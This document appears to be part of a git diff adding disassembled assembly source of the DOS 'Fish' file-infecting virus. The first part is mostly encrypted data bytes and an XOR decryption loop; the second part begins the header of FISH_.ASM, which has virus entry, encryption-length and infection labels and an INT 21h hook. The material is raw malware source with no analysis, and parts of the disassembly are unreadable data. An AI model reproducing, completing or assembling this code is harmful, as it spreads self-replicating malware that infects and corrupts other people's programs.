78H, 09H,0E4H, 11H, 0FH,0E6H + DB 8DH,0F1H, 43H, 78H, 09H,0E4H + DB 5EH, 05H, 84H, 8DH,0F1H, 42H + DB 78H, 09H,0E4H, 47H, 05H, 83H + DB 8DH,0F1H, 5AH, 78H, 0EH,0E4H + DB 0C2H, 0BH,0E4H, 5AH, 04H,0E6H + DB 0E5H, 7FH, 04H,0ACH,0E5H, 5EH + DB 0F0H,0E5H, 7BH,0F0H,0E5H, 25H + DB 0F0H, 84H,0E8H, 23H,0F2H, 3BH + DB 0BEH, 03H, 82H, 4BH, 0BH, 50H + DB 0C2H, 23H,0F2H, 0BH, 3CH, 03H + DB 0E4H, 19H, 05H,0ACH,0E5H,0F5H + DB 0F1H,0E5H,0DAH,0F1H, 07H,0CDH + DB 78H,0D9H,0E5H,0D6H,0F1H,0E5H + DB 0CCH, 0CH,0BDH, 0DH, 8DH, 32H + DB 0F2H, 78H, 0BH, 87H, 4AH, 0BH + DB 8EH,0CEH, 0AH, 23H, 2DH, 0BH + DB 0FDH, 03H,0FBH, 4AH, 17H, 8DH + DB 79H, 18H, 8DH, 62H, 17H,0C5H + DB 23H, 8DH, 33H,0FDH, 03H, 0DH + DB 78H, 04H, 8CH, 62H, 10H, 0DH + DB 03H, 8EH, 52H, 12H, 0DH,0E5H + DB 0B6H,0F1H,0E6H, 91H, 4BH, 44H + DB 43H,0E5H,0BEH,0F1H,0E5H, 9FH + DB 0F1H,0E5H, 97H,0F1H, 07H,0CDH + DB 78H,0E6H, 84H,0DEH,0FBH, 4AH + DB 18H, 8DH, 79H,0EEH, 8DH, 62H + DB 18H,0C5H, 8CH, 62H, 1DH, 0DH + DB 03H, 8DH, 52H, 1FH, 0DH,0E6H + DB 0D9H, 23H,0F2H, 03H, 3CH, 03H + DB 0E4H,0AFH, 0AH,0AEH,0EEH, 16H + DB 84H,0DEH, 86H, 7AH, 2CH, 06H + DB 7AH, 2EH, 78H, 1CH,0E6H, 07H + DB 84H,0DEH, 86H, 4AH, 01H, 07H + DB 4AH, 2DH, 78H, 08H,0E5H,0EEH + DB 09H, 7EH, 0EH,0E4H, 45H,0F2H + DB 0E5H, 6BH,0F1H,0E5H, 5DH,0F1H + DB 0E5H, 4FH,0F1H, 84H, 43H,0F5H + DB 84H, 4BH,0F1H, 13H, 5FH,0E5H + DB 26H, 0CH, 8EH, 72H, 19H, 0CH + DB 79H, 16H, 86H, 0AH, 0EH, 4AH + DB 0FH, 5EH, 86H, 52H, 09H,0FAH + DB 0DEH, 0CH,0D5H, 56H, 79H, 06H + DB 8EH,0C9H, 09H,0E4H, 76H,0F2H + DB 40H, 58H, 5EH, 46H, 54H, 57H + DB 12H, 84H,0DBH, 03H, 0AH,0B4H + DB 28H, 0DH,0B2H,0B8H, 03H,0FEH + DB 0A9H,0B2H,0B8H, 03H, 03H, 12H + DB 86H, 58H, 1FH, 86H, 48H, 1DH + DB 08H, 02H, 03H, 8EH,0DFH, 0DH + DB 28H,0FDH,0F2H, 84H, 58H, 1FH + DB 84H, 48H, 1DH, 20H,0F1H, 00H + DB 8EH,0D7H, 0DH, 84H, 58H, 2EH + DB 84H, 48H, 2CH,0B4H, 11H, 0DH + DB 0CAH, 48H, 03H, 0CH, 0DH,0B9H + DB 2AH, 84H,0F7H,0E5H,0DEH,0F6H + DB 0E4H, 3DH,0F2H, 03H, 0AH,0B2H + DB 0B8H, 03H,0B4H, 28H, 0DH, 84H + DB 0DBH,0FEH,0A9H, 13H, 5FH, 03H + DB 12H,0B9H, 02H,0B7H,0B8H, 03H + DB 0E5H,0B5H,0F6H,0B9H, 1DH,0E5H + DB 0BEH,0F6H,0FBH, 0BH,0C7H, 03H + DB 8DH, 53H, 12H, 79H, 26H, 23H + DB 0C9H, 13H,0C8H, 03H, 81H,0CDH + DB 8CH,0E6H, 0DH, 03H, 10H, 0DH + DB 0DH, 3EH,0DFH, 23H, 86H, 03H + DB 0CEH, 03H, 44H, 0CH,0C6H, 18H + DB 0DH, 0DH, 4CH,0FAH,0FCH, 84H + DB 49H, 2EH, 9FH, 9EH,0FAH,0FCH + DB 84H, 49H, 2CH,0E4H,0D2H,0F3H + DB 0E4H, 74H,0F3H,0E5H, 61H, 09H + DB 0E5H, 18H, 09H, 7FH, 34H, 23H + DB 8DH, 33H,0AFH, 03H, 0DH, 79H + DB 3CH,0E5H, 64H, 09H, 8EH,0F6H + DB 0F2H, 79H, 24H, 23H,0F3H, 03H + DB 0AFH, 03H, 03H, 0AH,0B4H, 19H + DB 0DH,0B2H, 5FH, 03H, 3EH,0CDH + DB 0FFH,0A2H, 23H,0ACH,0AEH, 03H + DB 2BH, 84H, 48H,0F3H, 2BH, 84H + DB 50H, 2BH, 84H, 53H,0F1H, 23H + DB 8DH, 2BH,0BEH, 03H,0F3H,0E4H + DB 96H,0F3H,0E4H, 38H,0F3H, 03H + DB 0AH,0E5H, 2BH, 09H,0B4H, 19H + DB 0DH, 23H,0ACH,0AEH, 03H,0B2H + DB 5FH, 03H,0FFH + DB 0A2H, 'x', 1BH, '+6P+x' + DB 0FBH, 2BH,0CAH, 48H,0F3H, 0DH + DB 0DH,0E5H, 1AH, 0FH, 23H,0F3H + DB 0BH,0AFH, 03H,0E6H,0C6H,0E4H + DB 04H,0F3H,0B9H, 22H, 0BH,0E5H + DB 0BH,0F6H, 0BH, 12H, 0AH,0CEH + DB 07H,0CDH, 79H, 0EH,0E4H, 5BH + DB 0CH, 13H, 5FH, 23H, 81H, 0BH + DB 2BH, 03H, 23H, 84H, 13H, 29H + DB 03H, 23H,0C8H, 3BH, 29H, 03H + DB 0B4H, 03H, 0DH,0B2H,0FCH, 03H + DB 03H, 0AH,0FEH,0A9H, 53H, 12H + DB 0B4H, 5DH, 0DH,0B2H, 0AH, 02H + DB 0FEH,0A9H,0B6H,0F2H,0F2H,0E5H + DB 0E3H,0F7H, 50H, 23H, 82H, 0BH + DB 0EBH, 03H, 23H, 82H, 0BH,0E5H + DB 03H, 23H, 82H, 0BH,0BEH, 03H + DB 03H,0B5H, 0CH, 46H, 0AH, 91H + DB 0B6H,0FCH, 03H, 23H,0F2H, 13H + DB 38H, 03H, 7EH, 2DH, 23H, 8EH + DB 03H,0BEH, 03H, 0CH, 23H,0F2H + DB 3BH,0BEH, 03H, 23H,0F2H, 3BH + DB 0E5H, 03H, 23H,0F2H, 3BH,0EBH + DB 03H, 58H, 23H,0C9H, 13H, 29H + DB 03H, 84H,0E8H,0E4H, 9CH,0F0H + DB 0E5H, 8DH, 0EH, 03H, 0AH,0B4H + DB 19H, 0DH,0B2H, 5FH, 03H, 23H + DB 0ACH,0AEH, 03H,0FFH,0A2H, 78H + DB 00H, 2BH,0CAH, 48H,0F3H, 0DH + DB 0DH, 23H,0F3H, 0BH,0AFH, 03H + DB 0E6H,0E6H, 23H,0C8H, 3BH, 0EH + DB 02H, 8EH,0F3H, 0CH, 78H, 39H + DB 86H, 1BH, 17H, 0DH, 8EH,0CFH + DB 1DH,0B9H, 5CH,0E5H, 57H,0F7H + DB 0EH,0DEH, 23H, 84H, 1BH, 08H + DB 02H,0F2H, 3BH, 15H, 0DH, 23H + DB 82H, 0BH, 0EH, 02H, 0EH, 13H + DB 1FH, 0DH, 8EH,0CEH, 1DH, 23H + DB 84H, 13H, 0CH, 02H,0F2H, 3BH + DB 19H, 0DH, 23H, 82H, 0BH,0F2H + DB 03H,0E4H, 25H, 0DH, 86H, 09H + DB 0EH, 49H, 0FH, 5EH, 86H, 51H + DB 09H,0FAH,0DEH, 0CH,0D5H, 56H + DB 79H, 6CH, 03H, 12H,0B7H, 0AH + DB 02H,0E5H,0B4H, 0FH,0E5H, 1AH + DB 0EH, 23H,0F3H, 0BH,0E2H, 03H + DB 0E5H, 1DH, 0CH, 23H,0F3H, 03H + DB 0E2H, 03H,0B9H, 5CH,0E5H, 08H + DB 0F7H,0E5H, 50H,0F7H,0E5H, 8DH + DB 0F7H,0E5H, 3FH,0F7H, 83H,0D6H + DB 83H,0CEH, 23H,0F2H, 3BH,0BEH + DB 03H, 23H,0F2H, 3BH,0E5H, 03H + DB 23H,0F2H, 3BH,0EBH, 03H, 82H + DB 0BH, 07H, 0DH, 82H, 0BH, 01H + DB 0DH, 13H,0BDH, 2FH,0C8H, 1BH + DB 07H, 0DH,0E5H, 8DH,0F7H, 12H + DB 90H, 55H, 23H, 86H, 2BH,0F2H + DB 03H, 23H, 83H, 1BH, 0CH, 02H + DB 23H,0F2H, 23H, 0EH, 02H + DB '^BAH', 86H, 'Q', 0CH, 86H, 8DH, '4' + DB 0FFH, 84H, 09H, 86H, 8DH, 36H + DB 0FFH, 84H, 49H, 0FH, 86H, 8DH + DB 30H,0FFH, 84H, 49H, 09H,0E5H + DB 0DAH, 0EH,0E6H, 96H, 31H, 0CH + DB 79H, 0EH,0E4H, 96H,0F1H, 23H + DB 8EH, 03H,0BEH, 03H, 0CH, 23H + DB 81H, 0BH, 2BH, 03H, 23H, 84H + DB 13H, 29H, 03H,0E5H,0A4H,0F4H + DB 0E5H, 85H,0F4H,0E5H, 9DH,0F4H + DB 23H,0C9H, 13H, 29H, 03H, 2BH + DB 0C8H, 7AH, 1FH, 7FH, 79H, 23H + DB 8DH, 2BH,0BEH, 03H,0F3H, 8EH + DB 0F3H, 0CH, 79H, 24H, 86H, 09H + DB 0EH, 49H, 0FH, 5EH, 86H, 51H + DB 09H,0FAH,0DEH, 0CH,0D5H + DB 'VxH', 86H, 'Q', 0CH, 86H, 8DH, '4' + DB 0FFH, 84H, 09H, 86H, 8DH, 36H + DB 0FFH, 84H, 49H, 0FH, 86H, 8DH + DB 30H,0FFH, 84H, 49H, 09H,0E6H + DB 21H, 86H, 1BH, 17H, 0DH,0E5H + DB 3FH, 0FH, 23H, 86H, 03H,0AEH + DB 03H, 8EH,0CCH, 1DH, 0CH,0C7H + DB 2BH, 84H, 5AH, 19H,0ACH, 15H + DB 0DH, 2BH, 84H, 4AH, 1FH,0ACH + DB 1FH, 0DH, 0EH,0CCH, 2BH, 84H + DB 4AH, 1DH,0ACH, 19H, 0DH, 2BH + DB 84H, 4AH, 03H,0E5H, 07H, 0FH + DB 23H, 83H, 13H,0AEH, 03H, 86H + DB 4BH, 0FH,0AEH, 07H, 0DH, 86H + DB 4BH, 09H,0AEH, 01H, 0DH,0E4H + DB 6EH,0F1H, 4BH, 44H, 5EH, 45H + DB 0E5H,0A6H, 09H,0E5H,0D1H, 0DH + DB 0CBH, 0BH, 2DH, 0DH, 0CH, 8CH + DB 33H, 0DH, 03H, 40H, 57H, 79H + DB 03H, 8CH, 33H, 0DH, 03H, 57H + DB 40H, 79H, 0BH,0F3H, 03H, 2DH + DB 0DH, 79H, 55H,0ACH, 09H, 03H + DB 0DCH,0ECH,0FAH,0ECH, 08H, 0DH + DB 0FH, 34H,0FDH, 7FH, 45H,0ACH + DB 07H, 03H, 06H, 0BH, 01H, 03H + DB 79H, 32H, 86H, 1BH,0A6H, 03H + DB 0B4H, 0DH, 0FH,0ACH,0A4H, 03H + DB 0FAH,0FCH, 06H,0DFH, 79H, 0CH + DB 4DH, 84H, 1BH, 0FH, 03H,0AEH + DB 09H, 03H, 8EH, 33H, 19H, 03H + DB 0CH, 79H, 60H,0CAH, 0BH, 19H + DB 03H, 0CH, 0DH, 86H,0CBH, 26H + DB 0BH, 05H, 03H,0AEH, 1BH, 03H + DB 8EH, 0BH, 09H, 03H, 0AH,0CAH + DB 0BH, 1DH, 03H, 0DH, 03H,0AEH + DB 03H, 03H,0E5H,0C0H, 0DH,0E6H + DB 46H, 8CH,0F3H, 0DH, 02H, 7EH + DB 48H,0ACH, 0DH, 03H,0AEH, 09H + DB 0DH, 0CH,0CFH,0ACH, 0FH, 03H + DB 0AEH, 0BH, 0DH, 0CH,0CFH,0ACH + DB 09H, 03H,0AEH, 05H, 0DH,0FAH + DB 0DDH, 0CH,0CFH, 79H, 24H,0ACH + DB 0FFH, 03H, 29H, 09H, 78H, 2FH + DB 0BCH,0E4H,0B5H, 1DH, 0DH, 85H + DB 03H, 0DH, 03H,0FAH,0EBH, 08H + DB 0C6H, 00H,0AEH, 0CH, 03H,0ACH + DB 0DH, 03H, 0EH, 0BH, 0FH, 03H + DB 0FAH,0D5H,0FAH,0DDH,0AEH, 09H + DB 03H,0E5H, 8DH, 0DH,0B9H, 33H + DB 0E5H, 3BH,0F5H, 23H, 86H, 03H + DB 0FFH, 03H,0B5H, 0CH, 4EH, 23H + DB 86H, 1BH,0F9H, 03H, 23H, 83H + DB 13H,0FBH, 03H,0E5H, 2CH,0F5H + DB 0E5H, 40H, 09H,0CEH, 03H,0B5H + DB 0DH, 5AH, 12H,0E5H, 18H,0F5H + DB 84H, 03H, 24H, 03H,0B5H, 0DH + DB 4FH, 84H, 1BH, 26H, 03H, 3EH + DB 0C4H, 3EH,0DFH,0E5H, 0EH,0F5H + DB 0B9H, 32H,0B7H, 0DH, 03H,0BCH + DB 11H,0E5H,0F4H,0FAH, 3EH,0C4H + DB 0B5H, 0DH, 4FH, 3EH,0DFH,0E5H + DB 0E2H,0FAH,0BCH, 11H,0B9H, 32H + DB 0B7H, 09H, 0DH,0E5H,0E8H,0FAH + DB 3EH,0C4H,0B5H, 0FH, 4FH, 86H + DB 0DCH,0E5H,0D6H,0FAH, 84H, 1BH + DB 0A6H, 03H,0AEH,0A4H, 03H, 86H + DB 0F5H, 08H, 02H, 0DH, 8EH,0DFH + DB 0DH, 28H,0FDH,0F2H, 24H,0CAH + DB 0B4H, 1DH, 0DH,0FAH,0FCH, 86H + DB 0FDH,0CEH, 5DH, 44H, 46H, 48H + DB 3EH,0C4H,0B5H, 0DH, 4FH, 86H + DB 0DCH,0E5H,0BCH,0FAH,0BCH, 11H + DB 0B9H, 4DH,0B7H, 0DH, 03H,0E5H + DB 0AAH,0FAH,0B5H, 1DH, 0DH,0FAH + DB 0EBH, 86H,0C7H, 86H,0DDH,0B5H + DB 0DH, 4FH,0E5H, 95H,0FAH,0B4H + DB 0DH, 03H, 3EH,0DFH, 0CH,0F4H + DB 0B9H, 4DH, 23H,0CBH, 0BH, 3EH + DB 03H, 0CH, 5EH,0E5H,0D0H, 09H + DB 56H, 86H, 03H, 24H, 03H,0B5H + DB 0CH, 5AH, 86H, 1BH, 26H, 03H + DB 0FBH,0CBH, 8DH, 78H, 0EH, 8DH + DB 0CBH,0C5H,0E5H, 63H,0FAH,0CEH + DB 0E5H,0C8H,0FAH, 84H,0DAH, 8EH + DB 0CAH, 00H, 13H, 0AH,0E6H, 2DH + DB 0E5H,0B4H,0FAH, 13H, 0AH,0B4H + DB 5DH, 0DH, 84H,0DAH,0BEH, 0DH + DB 3EH,0CDH, 8DH, 70H, 0CH, 37H + DB 78H, 08H, 87H, 10H, 8DH,0EEH + DB 12H, 23H, 85H, 13H, 25H, 03H + DB 0FFH,0A3H, 86H, 48H,0F0H, 28H + DB 0D2H,0D2H, 0FH,0EDH, 87H, 48H + DB 0F1H, 29H,0D2H, 0FH,0C9H, 23H + DB 0CBH, 0BH, 2DH, 0DH, 0DH, 31H + DB 0D2H, 79H, 04H, 23H,0F3H, 0BH + DB 2DH, 0DH, 31H,0EFH, 78H, 00H + DB 0E5H, 5FH,0FAH,0F5H,0CEH + DB '@LNFH_HA' + DB 0E5H, 48H,0FAH,0F4H,0CEH, 5EH + DB 0B9H, 5CH,0E5H, 0AH,0FAH, 23H + DB 84H, 13H,0AEH, 03H, 56H,0CEH + DB 0E5H,0A1H, 0FH, 5FH,0B9H, 3BH + DB 23H, 87H, 1BH, 25H, 03H,0E5H + DB 0FFH,0FBH,0FAH,0ECH,0FAH,0EEH + DB 84H,0DEH, 57H, 06H,0D6H, 78H + DB 08H, 30H, 0DH, 4DH, 7FH, 45H + DB 0B5H, 0DH, 4EH,0E5H,0D1H,0FBH + DB 7FH, 4DH, 23H, 84H, 1BH,0F9H + DB 03H, 23H, 84H, 03H,0FFH, 03H + DB 23H, 81H, 13H,0FBH, 03H,0B5H + DB 0CH, 4EH, 3EH,0C4H,0E5H,0CEH + DB 0FBH, 23H, 8DH, 33H,0D7H, 03H + DB 0DH, 78H, 2CH,0B5H, 0FH, 30H + DB 0E5H,0B8H,0FBH, 7FH, 14H, 86H + DB 0D5H, 5EH,0B9H, 3FH, 23H, 87H + DB 1BH, 25H, 03H,0E5H,0ABH,0FBH + DB 86H, 4AH, 13H, 23H,0AEH,0E1H + DB 03H, 56H,0E5H,0C7H, 0FH,0CEH + DB 3EH,0D6H, 46H,0E5H,0CEH, 0FH + DB 0CEH, 5CH, 5FH, 5DH,0B5H, 0DH + DB 49H,0E5H, 87H,0FBH, 8DH,0FFH + DB 8DH,0FBH,0CFH, 8DH, 79H, 04H + DB 0B5H, 0DH, 5AH,0E5H, 71H,0FBH + DB 0FBH,0CBH, 8DH, 55H, 57H, 54H + DB 0CEH,0E5H,0C0H,0FBH, 3EH,0C4H + DB 0B5H, 0CH, 4FH, 3EH,0DFH,0E5H + DB 65H,0FBH, 23H, 84H, 1BH,0AAH + DB 03H, 23H,0AEH,0A8H, 03H,0B5H + DB 0FH, 4FH, 3EH,0C4H, 3EH,0DFH + DB 0E5H, 58H,0FBH, 23H, 84H, 1BH + DB 0A6H, 03H, 23H,0AEH,0A4H, 03H + DB 0B5H, 0DH, 4FH, 23H, 86H, 1BH + DB 0A8H, 03H, 23H, 86H, 03H,0AAH + DB 03H,0E5H, 31H,0FBH,0E5H, 62H + DB 0FBH,0CEH, 4BH, 44H, 5EH, 45H + DB 07H,0CDH, 78H, 2FH, 23H, 8EH + DB 2BH,0BEH, 03H,0F3H,0E5H, 48H + DB 0FBH,0E5H, 29H,0FBH, 7FH, 06H + DB 0FBH,0CBH, 8DH, 79H, 0EH, 8DH + DB 0E3H,0C5H,0E4H, 15H,0F4H, 23H + DB 8EH, 03H,0BEH, 03H, 0CH,0E4H + DB 02H,0F4H, 31H, 0CH, 78H, 3AH + DB 23H, 8EH, 2BH,0BEH, 03H,0F3H + DB 0FBH,0CBH, 8DH, 79H, 0EH, 8DH + DB 0E3H,0C5H,0E5H, 6BH,0F2H, 79H + DB 0EH, 8DH,0CBH,0C5H,0E5H,0FCH + DB 0F8H, 84H, 4BH,0F1H, 23H, 8EH + DB 1BH,0BEH, 03H, 0DH,0E4H, 48H + DB 0F4H, 31H, 0FH, 78H, 03H,0E5H + DB 46H,0F2H, 79H, 04H, 8CH, 63H + DB 0FBH, 0DH, 03H, 8EH, 53H,0F5H + DB 0DH,0E4H,0C0H,0F5H,0E5H,0D5H + DB 0F8H,0B9H, 27H,0E5H,0C5H,0F8H + DB 8CH,0F4H,0CAH, 0AH, 7FH, 06H + DB 0B9H, 04H, 03H, 12H,0B7H,0A6H + DB 0CH,0E5H,0B5H,0F8H,0F9H,0E5H + DB 0DFH,0F8H,0CEH, 23H, 8DH, 2BH + DB 0BEH, 03H,0F3H,0E5H, 1AH,0F2H + DB 79H,0D8H, 23H, 84H, 1BH,0A0H + DB 03H, 23H, 84H, 03H,0A2H, 03H + DB 23H,0CAH, 0BH,0BCH, 03H, 0DH + DB 0DH,0E5H, 12H,0F2H, 23H,0ACH + DB 0A4H, 03H, 23H, 86H, 1BH,0A6H + DB 03H, 20H, 0DH, 03H, 8EH,0D7H + DB 0DH, 23H, 26H, 0BH,0A8H, 03H + DB 23H, 16H, 1BH,0AAH, 03H, 74H + DB 05H,0CAH, 4BH,0F1H, 0DH, 0DH + DB 0E4H, 20H,0F7H, 78H, 05H, 36H + DB 0CCH, 7AH, 09H, 23H,0AEH,0A2H + DB 03H, 23H, 86H, 03H,0AAH, 03H + DB 23H, 86H, 1BH,0A8H, 03H, 06H + DB 0C4H, 78H, 08H, 8EH,0F7H, 11H + DB 7BH, 17H, 23H, 86H, 1BH,0A0H + DB 03H,0B9H, 32H, 23H, 86H, 03H + DB 0A2H, 03H,0E5H, 48H,0F8H, 23H + DB 0EH, 0BH,0BCH, 03H, 84H, 4BH + DB 0F1H,0E4H, 97H,0F5H, 84H,0DAH + DB 84H,0DBH, 23H, 0EH, 33H,0A2H + DB 03H, 8EH,0F2H, 11H, 7FH, 05H + DB 3EH,0F2H,0E6H, 04H, 59H, 58H + DB 43H, 4CH, 8EH,0E2H, 11H,0FAH + DB 0D2H, 86H,0CFH, 23H, 86H, 1BH + DB 0A4H, 03H, 23H, 86H, 03H,0A6H + DB 03H, 8EH,0CFH, 02H, 8EH,0DCH + DB 0DH, 8EH,0EFH,0FDH, 8CH,0E7H + DB 0F1H, 00H, 8EH,0D4H, 0DH, 0CH + DB 0CFH, 8EH,0DCH, 0DH,0B5H, 0DH + DB 4FH,0E5H,0F5H,0F9H,0B4H, 11H + DB 0DH, 24H,0F4H, 24H,0FCH,0B9H + DB 32H, 23H, 86H, 1BH,0A0H, 03H + DB 0E5H,0EAH,0F9H, 23H, 0CH, 0BH + DB 0A0H, 03H, 23H, 24H, 0BH,0A2H + DB 03H, 23H, 0CH, 0BH,0BCH, 03H + DB 3EH,0C4H,0B5H, 0DH, 4FH,0B7H + DB 11H, 0DH,0E5H,0C0H,0F9H,0E4H + DB 7BH,0F2H, 23H, 2CH, 2BH, 3CH + DB 03H,0E4H, 35H, 0CH, 23H, 8EH + DB 2BH,0BEH, 03H,0F3H,0E5H,0DAH + DB 0F9H,0E5H,0BBH,0F9H,0E5H,0B3H + DB 0F9H, 7EH, 04H, 23H, 8EH, 03H + DB 0BEH, 03H, 0CH,0E4H, 05H,0F5H + DB 0E5H, 94H,0F4H,0FBH, 4AH, 14H + DB 8DH, 78H, 0EH,0E4H,0F1H,0FAH + DB 8CH, 62H, 17H, 0DH, 03H, 8EH + DB 52H, 11H + DB 0DH, 8DH, 62H +LOC_3: + ADC AL,0C5H + IN AL,0E1H ; port 0E1H, Memory encode reg1 + CLI ; Disable interrupts + OUT 83H,AL ; port 83H, DMA page reg ch 1 + OR CX,[BX+SI+3] + OR DX,[BP+SI] + DB 0F3H, 03H, 0EH, 0DH, 81H,0D7H + DB 47H, 83H,0D7H,0ACH, 0EH, 0DH + DB 0F3H,0C1H, 0CH,0CFH,0AEH, 0EH + DB 0DH, 52H, 4FH, 83H,0CFH, 03H + DB 12H,0E5H,0D2H, 0DH,0ACH,0B3H + DB 0F3H, 02H,0B4H, 0DH, 05H, 84H + DB 0FAH,0F0H,0FEH,0A8H,0F1H, 0BH + DB 0B5H,0D0H, 0CH, 5DH, 23H, 83H + DB 0BH, 48H, 03H,0C6H, 23H,0CBH + DB 0BH,0D7H, 03H, 0DH,0E5H,0AEH + DB 0F9H, 03H,0E5H, 77H,0F2H, 85H + DB 0BDH, 1EH, 12H,0E5H,0F1H,0F9H + DB 81H, 0BH, 22H, 03H, 84H, 13H + DB 20H, 03H, 81H, 0BH, 36H, 03H + DB 0BFH, 0FH, 84H, 13H, 34H, 03H + DB 85H, 1BH, 5DH, 03H,0E5H,0CFH + DB 0F9H, 84H, 2BH,0D2H, 03H, 81H + DB 1BH,0D0H, 03H, 03H,0B5H, 24H + DB 01H, 5DH,0B5H, 7DH, 0DH,0B4H + DB 0F2H,0F2H, 83H,0CDH, 3EH,0F2H + DB 0BDH,0C6H,0FFH,0A3H, 42H, 91H + DB 0BH, 5AH, 91H, 55H, 8DH,0C1H + DB 0CH, 5DH, 90H, 3EH,0CDH,0F2H + DB 23H, 20H, 03H, 03H, 12H,0E5H + DB 64H, 0DH, 81H,0BDH, 1EH,0B7H + DB 9DH, 00H,0E5H, 9EH,0F9H,0BDH + DB 29H,0E5H,0A9H,0F9H, 84H, 13H + DB 30H, 03H,0B7H,0C8H, 00H,0BDH + DB 29H, 81H, 0BH, 32H, 03H,0E5H + DB 73H,0F9H,0E5H, 05H,0F9H,0CEH + DB 0E5H, 24H,0F9H, 23H,0C8H, 1BH + DB 34H, 03H,0BDH, 1EH,0E5H, 60H + DB 0F9H, 23H,0C8H, 1BH, 30H, 03H + DB 0BDH, 29H,0E5H, 6EH,0F9H,0E5H + DB 0E0H,0FEH,0CEH, 58H, 84H,0E8H + DB 8CH, 6BH, 0BH,0F2H,0F3H,0F2H + DB 4BH, 17H, 50H,0C2H, 23H,0CAH + DB 0BH, 5DH, 03H, 0CH, 09H,0E5H + DB 30H,0F9H,0E5H,0B7H,0FEH, 5DH + DB 23H,0ACH,0BEH, 03H, 00H, 0DH + DB 0CH, 5DH, 90H, 55H, 50H, 23H + DB 0F2H, 23H, 38H, 03H, 84H,0E5H + DB 9FH,0FEH,0BDH, 0CH,0B7H, 66H + DB 01H, 03H, 12H,0E5H, 2BH,0F9H + DB 91H, 55H, 00H, 0DH, 0CH, 5DH + DB 90H, 4DH,0FAH,0EDH, 3AH,0AEH + DB 3CH, 03H,0E5H, 87H,0FEH,0CEH + DB 0F2H, 58H, 84H,0E8H, 5DH, 8CH + DB 73H, 09H, 0DH,0CDH, 7EH, 01H + DB 23H,0ACH, 4AH, 03H, 34H, 4BH + DB 09H, 7BH, 0EH, 55H, 50H,0C2H + DB 23H, 8DH, 33H, 5DH, 03H, 0CH + DB 79H, 2BH, 86H, 4BH, 09H, 23H + DB 0AEH, 22H, 03H, 86H, 4BH, 0FH + DB 23H,0AEH, 20H, 03H, 7FH, 02H + DB 55H, 50H, 23H, 86H, 2BH,0D2H + DB 03H, 23H, 83H, 1BH,0D0H, 03H + DB 0E4H, 39H,0F2H, 8CH, 6BH, 0BH + DB 0F2H,0F3H,0E6H,0C2H, 23H,0F3H + DB 03H, 5CH, 03H, 78H,0C5H, 8CH + DB 6BH, 0BH,0F2H,0F3H,0E5H, 7CH + DB 0FEH,0E5H, 13H,0FEH,0B9H, 21H + DB 0E5H, 03H,0FEH, 23H, 85H, 1BH + DB 5CH, 00H, 23H, 85H, 1BH, 63H + DB 00H, 8DH,0E1H, 0FH,0E5H,0F3H + DB 0FFH, 0FH,0FFH +DATA_4 DD 893B8523H + DB 00H, 23H, 85H, 3BH,0D1H, 00H + DB 0BDH, 0EH,0E5H,0A1H,0FEH, 0BH + DB 12H, 84H,0D7H,0BDH, 0CH,0E5H + DB 80H,0FEH,0E5H,0F2H,0FFH,0E5H + DB 52H,0FEH,0E5H, 1CH,0FEH, 5EH + DB 5CH,0B6H, 25H, 0DH,0B4H, 8AH + DB 0FH, 23H, 8DH, 3AH, 10H, 8EH + DB 0CEH, 08H,0EFH,0FAH, 54H, 56H + DB 0E6H, 97H, 23H, 8DH, 03H, 25H + DB 0DH, 0DH, 79H, 1EH, 5EH, 5CH + DB 0B6H, 25H, 0DH,0B4H, 8AH, 0FH + DB 23H, 8DH, 3AH, 10H, 8EH,0CEH + DB 08H,0EFH,0FAH, 54H, 56H,0E4H + DB 0FEH,0F9H, 5CH, 5EH,0B6H, 25H + DB 0DH,0B4H, 55H, 0DH, 2EH, 80H + DB 37H, 0DH, 43H,0E2H,0F9H, 5BH + DB 59H,0E8H, 94H,0F2H,0EBH, 3FH + DB 0B8H, 2EH, 8FH, 06H, 41H, 0EH + DB 2EH, 8FH, 06H, 43H, 0EH, 2EH + DB 8FH, 06H,0DBH, 0EH, 2EH, 83H + DB 26H,0DBH, 0EH,0FEH, 2EH, 80H + DB 3EH,0DAH, 0EH, 00H, 75H, 11H + DB 2EH,0FFH, 36H,0DBH, 0EH, 2EH + DB 0FFH, 1EH, 2DH, 0EH, 73H, 06H + DB 2EH,0FEH, 06H,0DAH, 0EH,0F9H + DB 2EH,0FFH, 2EH, 41H, 0EH, 89H + DB 32H,0C0H, 2EH,0C6H, 06H,0DAH + DB 0EH, 01H,0CFH +LOC_4: + CALL SUB_1 ; (0EE1) + +FISH ENDP + +;========================================================================== +; SUBROUTINE +;========================================================================== + +SUB_1 PROC NEAR + POP BX + SUB BX,0DA9H + MOV CX,0D58H + +LOCLOOP_5: + XOR BYTE PTR CS:[BX],0DH + INC BX + LOOP LOCLOOP_5 ; Loop if cx > 0 + + DEC BYTE PTR CS:DATA_1E[BX] ; (97E0:00B3=0) + JZ LOC_RET_6 ; Jump if zero + JMP LOC_2 ; (035A) + +LOC_RET_6: + RETN +SUB_1 ENDP + + AND [BP+49H],AL + PUSH BX + DEC AX + AND [BP],AL + +SEG_A ENDS + + + + END START diff --git a/f/FISH_.ASM b/f/FISH_.ASM new file mode 100755 index 0000000..bb39cc5 --- /dev/null +++ b/f/FISH_.ASM @@ -0,0 +1,1733 @@ + +PAGE 59,132 + +; +; +; FISH_ +; +; Created: 1-Jan-80 +; Version: +; Code type: zero start +; Passes: 9 Analysis Options on: A +; +; Disassembled by: Sir John -- 13-Mar-91 +; +; +; + +data_1e equ 0Ah ; (0000:000A=0) +data_3e equ 12h ; (0000:0012=70h) +data_4e equ 14h ; (0000:0014=0FF54h) +data_5e equ 18h ; (0000:0018=0FF23h) +data_6e equ 1Ah ; (0000:001A=0F000h) +data_7e equ 475h ; (0000:0475=1) +data_8e equ data_23 - virus_entry + 3 ; jmp_len = 3 +MCB_0003 equ 3 ; Siza of memory block in paragraphs +PSP_0003 equ 3 ; Memory size in paragraphs +PSP_000A equ 0Ah ; (026E:000A=0) +COM_beg equ 100h ; .COM file beginning +data_33e equ 0B3h ; (cs:00B3=5) +all_len equ 1000h +encr_len equ ((locloop_105 - vir_beg) and 0fffeh)+vir_beg - data_311 +vir_len equ vir_end - vir_beg +read_len equ 1Ch + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + org 0 + +vir_beg: db 0 + jmp virus_entry ; (0DCE) +data_23 dw 20CDh ; original file content +data_24 dw 0 +data_26 dw 0 + db 8 dup (0) +data_27 dw 0 +data_28 dw 0 + db 0, 0 +data_29 dd 0 + db 0, 0, 0, 0 +exe_flag db 0 + + +; +; SUBROUTINE +; + +sub_1 proc near + pushf + call dword ptr cs:INT_21_ptr ; (cs:0E35=0) + retn 